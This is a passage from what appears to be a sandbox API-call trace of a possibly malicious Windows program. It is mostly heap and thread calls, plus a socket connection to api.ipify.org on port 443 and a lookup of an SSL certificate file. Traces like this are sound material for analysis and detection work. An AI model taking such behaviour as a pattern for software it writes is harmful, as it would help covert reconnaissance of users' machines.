lpMem=0x2d36308 | out: hHeap=0x2a0000) returned 1 [0118.218] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d497b0 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35368 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48050 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35470 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362e8 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47eb0 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35350 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49630 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35338 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47fb0 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35638 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47fc0 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363e8 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d353e0 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47fa0 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35608 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47f90 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36348 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35668 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47f60 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d355c0 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47f80 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48c68 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35620 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35590 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35578 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47f70 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48de8 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d355f0 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49548 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35530 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47fd0 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48d88 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d355a8 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49578 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36288 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49730 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36268 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354b8 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35308 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d353c8 | out: hHeap=0x2a0000) returned 1 [0118.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352f0 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47ea0 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49460 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352d8 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47f00 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35410 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47ef0 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36328 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d353f8 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36388 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35458 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47f10 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36368 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35440 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47f30 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354a0 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47f20 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363c8 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35488 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36428 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354e8 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47f40 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36408 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354d0 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49430 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35518 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47f50 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48c48 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35500 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49520 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36248 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d495a0 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36228 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47ee0 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d353b0 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362c8 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47e90 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362a8 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352a8 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47ed0 | out: hHeap=0x2a0000) returned 1 [0118.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35398 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48bf0 | out: hHeap=0x2a0000) returned 1 [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49308 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bb10 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49348 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bb40 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bb28 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4d9f0 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bbb8 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac08 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bba0 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49368 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bb88 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bb70 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bb58 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49328 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49fc0 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48b80 | out: hHeap=0x2a0000) returned 1 [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] GetCurrentThreadId () returned 0x9fc [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4b750 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35860 | out: hHeap=0x2a0000) returned 1 [0118.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab78 | out: hHeap=0x2a0000) returned 1 [0118.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b78 | out: hHeap=0x2a0000) returned 1 [0118.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d491e8 | out: hHeap=0x2a0000) returned 1 [0118.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d480c0 | out: hHeap=0x2a0000) returned 1 [0118.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4b2e8 | out: hHeap=0x2a0000) returned 1 [0118.222] shutdown (s=0x12c, how=1) returned 0 [0118.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="closesocket", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0118.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="closesocket", cchWideChar=11, lpMultiByteStr=0x7f2f6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="closesocket", lpUsedDefaultChar=0x0) returned 11 [0118.222] GetProcAddress (hModule=0x77230000, lpProcName="closesocket") returned 0x77233918 [0118.222] closesocket (s=0x12c) returned 0 [0118.223] GetCurrentThreadId () returned 0x9fc [0118.223] GetCurrentThreadId () returned 0x9fc [0118.223] GetCurrentThreadId () returned 0x9fc [0118.223] GetCurrentThreadId () returned 0x9fc [0118.223] GetCurrentThreadId () returned 0x9fc [0118.223] GetCurrentThreadId () returned 0x9fc [0118.223] GetCurrentThreadId () returned 0x9fc [0118.223] GetCurrentThreadId () returned 0x9fc [0118.223] GetCurrentThreadId () returned 0x9fc [0118.223] CharUpperBuffW (in: lpsz="MZR-afy4DVkMEyMAayNgWogyzyzIMM20F5FFBRdNJyM3jKFQVFw0Qhk3MNODDzFMJO2VCMCC1CUgM2MUT1TyKRVMCOFTCQWFhCWZWgTB", cchLength=0x68 | out: lpsz="MZR-AFY4DVKMEYMAAYNGWOGYZYZIMM20F5FFBRDNJYM3JKFQVFW0QHK3MNODDZFMJO2VCMCC1CUGM2MUT1TYKRVMCOFTCQWFHCWZWGTB") returned 0x68 [0118.223] CharLowerBuffW (in: lpsz="MZR-afy4DVkMEyMAayNgWogyzyzIMM20F5FFBRdNJyM3jKFQVFw0Qhk3MNODDzFMJO2VCMCC1CUgM2MUT1TyKRVMCOFTCQWFhCWZWgTB", cchLength=0x68 | out: lpsz="mzr-afy4dvkmeymaayngwogyzyzimm20f5ffbrdnjym3jkfqvfw0qhk3mnoddzfmjo2vcmcc1cugm2mut1tykrvmcoftcqwfhcwzwgtb") returned 0x68 [0118.223] CharUpperBuffW (in: lpsz="MZR-afy4DVkMEyMAayNgWogyzyzIMM20F5FFBRdNJyM3jKFQVFw0Qhk3MNODDzFMJO2VCMCC1CUgM2MUT1TyKRVMCOFTCQWFhCWZWgTBVGFyaWgoMjIgTWFydCAyMDIwIFBhemFyKV9fU2FhdCgxNi01Ni0yNik=", cchLength=0xa0 | out: lpsz="MZR-AFY4DVKMEYMAAYNGWOGYZYZIMM20F5FFBRDNJYM3JKFQVFW0QHK3MNODDZFMJO2VCMCC1CUGM2MUT1TYKRVMCOFTCQWFHCWZWGTBVGFYAWGOMJIGTWFYDCAYMDIWIFBHEMFYKV9FU2FHDCGXNI01NI0YNIK=") returned 0xa0 [0118.224] socket (af=2, type=1, protocol=0) returned 0x12c [0118.224] getsockopt (in: s=0x12c, level=65535, optname=4104, optval=0x18fad8, optlen=0x18fad4 | out: optval="\x01", optlen=0x18fad4) returned 0 [0118.224] getsockopt (in: s=0x12c, level=6, optname=1, optval=0x18fad8, optlen=0x18fad4 | out: optval="", optlen=0x18fad4) returned 0 [0118.224] setsockopt (s=0x12c, level=65535, optname=4, optval="", optlen=4) returned 0 [0118.224] htons (hostshort=0x0) returned 0x0 [0118.224] bind (s=0x12c, addr=0x18fa30*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0118.225] getsockname (in: s=0x12c, name=0x18fa24, namelen=0x18faa4 | out: name=0x18fa24*(sa_family=2, sin_port=0xc007, sin_addr="0.0.0.0"), namelen=0x18faa4) returned 0 [0118.225] htons (hostshort=0x7c0) returned 0xc007 [0118.225] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.ipify.org", cchUnicodeChar=13, lpASCIICharStr=0x0, cchASCIIChar=0 | out: lpASCIICharStr=0x0) returned 13 [0118.225] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.ipify.org", cchUnicodeChar=13, lpASCIICharStr=0x80f90c, cchASCIIChar=13 | out: lpASCIICharStr="api.ipify.org") returned 13 [0118.225] GetAddrInfoW (in: pNodeName="api.ipify.org", pServiceName=0x0, pHints=0x18fad8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x18faf8 | out: ppResult=0x18faf8*=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94988*(sa_family=2, sin_port=0x0, sin_addr="184.73.185.65"), ai_next=0x2b949a0*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949c8*(sa_family=2, sin_port=0x0, sin_addr="174.129.223.190"), ai_next=0x2b949e0*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a08*(sa_family=2, sin_port=0x0, sin_addr="54.243.147.226"), ai_next=0x2b94a20*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94c90*(sa_family=2, sin_port=0x0, sin_addr="54.225.66.103"), ai_next=0x2b94ca8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94cd0*(sa_family=2, sin_port=0x0, sin_addr="54.243.186.202"), ai_next=0x2b94ce8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94d10*(sa_family=2, sin_port=0x0, sin_addr="54.225.139.71"), ai_next=0x2b94d28*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94d50*(sa_family=2, sin_port=0x0, sin_addr="184.73.165.106"), ai_next=0x2b94d68*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94d90*(sa_family=2, sin_port=0x0, sin_addr="54.225.71.235"), ai_next=0x0))))))))) returned 0 [0118.265] FreeAddrInfoW (pAddrInfo=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94988*(sa_family=2, sin_port=0x0, sin_addr="184.73.185.65"), ai_next=0x2b949a0*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949c8*(sa_family=2, sin_port=0x0, sin_addr="174.129.223.190"), ai_next=0x2b949e0*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a08*(sa_family=2, sin_port=0x0, sin_addr="54.243.147.226"), ai_next=0x2b94a20*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94c90*(sa_family=2, sin_port=0x0, sin_addr="54.225.66.103"), ai_next=0x2b94ca8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94cd0*(sa_family=2, sin_port=0x0, sin_addr="54.243.186.202"), ai_next=0x2b94ce8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94d10*(sa_family=2, sin_port=0x0, sin_addr="54.225.139.71"), ai_next=0x2b94d28*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94d50*(sa_family=2, sin_port=0x0, sin_addr="184.73.165.106"), ai_next=0x2b94d68*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94d90*(sa_family=2, sin_port=0x0, sin_addr="54.225.71.235"), ai_next=0x0))))))))) [0118.266] htons (hostshort=0x1bb) returned 0xbb01 [0118.266] connect (s=0x12c, name=0x18fa88*(sa_family=2, sin_port=0x1bb, sin_addr="184.73.185.65"), namelen=16) returned 0 [0118.388] getsockname (in: s=0x12c, name=0x18fa70, namelen=0x18faf0 | out: name=0x18fa70*(sa_family=2, sin_port=0xc007, sin_addr="192.168.0.156"), namelen=0x18faf0) returned 0 [0118.388] htons (hostshort=0x7c0) returned 0xc007 [0118.388] getpeername (in: s=0x12c, name=0x18fa70, namelen=0x18faf0 | out: name=0x18fa70*(sa_family=2, sin_port=0x1bb, sin_addr="184.73.185.65"), namelen=0x18faf0) returned 0 [0118.388] htons (hostshort=0xbb01) returned 0x1bb [0118.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1d8) returned 0x2d24c58 [0118.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2a0d08 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2aff60 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d253a0 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x48) returned 0x2d253e8 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35cc8 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ba0 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e08 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34bb8 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2a0e90 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2b8 [0118.389] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x20) returned 0x2d4a2e0 [0118.389] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a2e0, Size=0x40) returned 0x2d36488 [0118.389] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d36488, Size=0x80) returned 0x2d4ead8 [0118.389] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d4a988 [0118.389] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a988, Size=0x200) returned 0x2d24e80 [0118.389] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x200) returned 0x2d25088 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d25290 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2e0 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d88 [0118.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0118.389] CreateFileW (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.389] GetLastError () returned 0x3 [0118.389] GetLastError () returned 0x3 [0118.390] SetLastError (dwErrCode=0x3) [0118.390] GetLastError () returned 0x3 [0118.390] SetLastError (dwErrCode=0x3) [0118.390] GetLastError () returned 0x3 [0118.390] SetLastError (dwErrCode=0x3) [0118.390] GetLastError () returned 0x3 [0118.390] SetLastError (dwErrCode=0x3) [0118.390] CreateFileA (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.390] GetLastError () returned 0x3 [0118.390] GetLastError () returned 0x3 [0118.390] SetLastError (dwErrCode=0x3) [0118.390] GetLastError () returned 0x3 [0118.390] SetLastError (dwErrCode=0x3) [0118.390] GetLastError () returned 0x3 [0118.390] SetLastError (dwErrCode=0x3) [0118.390] GetLastError () returned 0x3 [0118.390] GetCurrentThreadId () returned 0x9fc [0118.390] GetCurrentThreadId () returned 0x9fc [0118.390] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x51) returned 0x2a0ec8 [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] 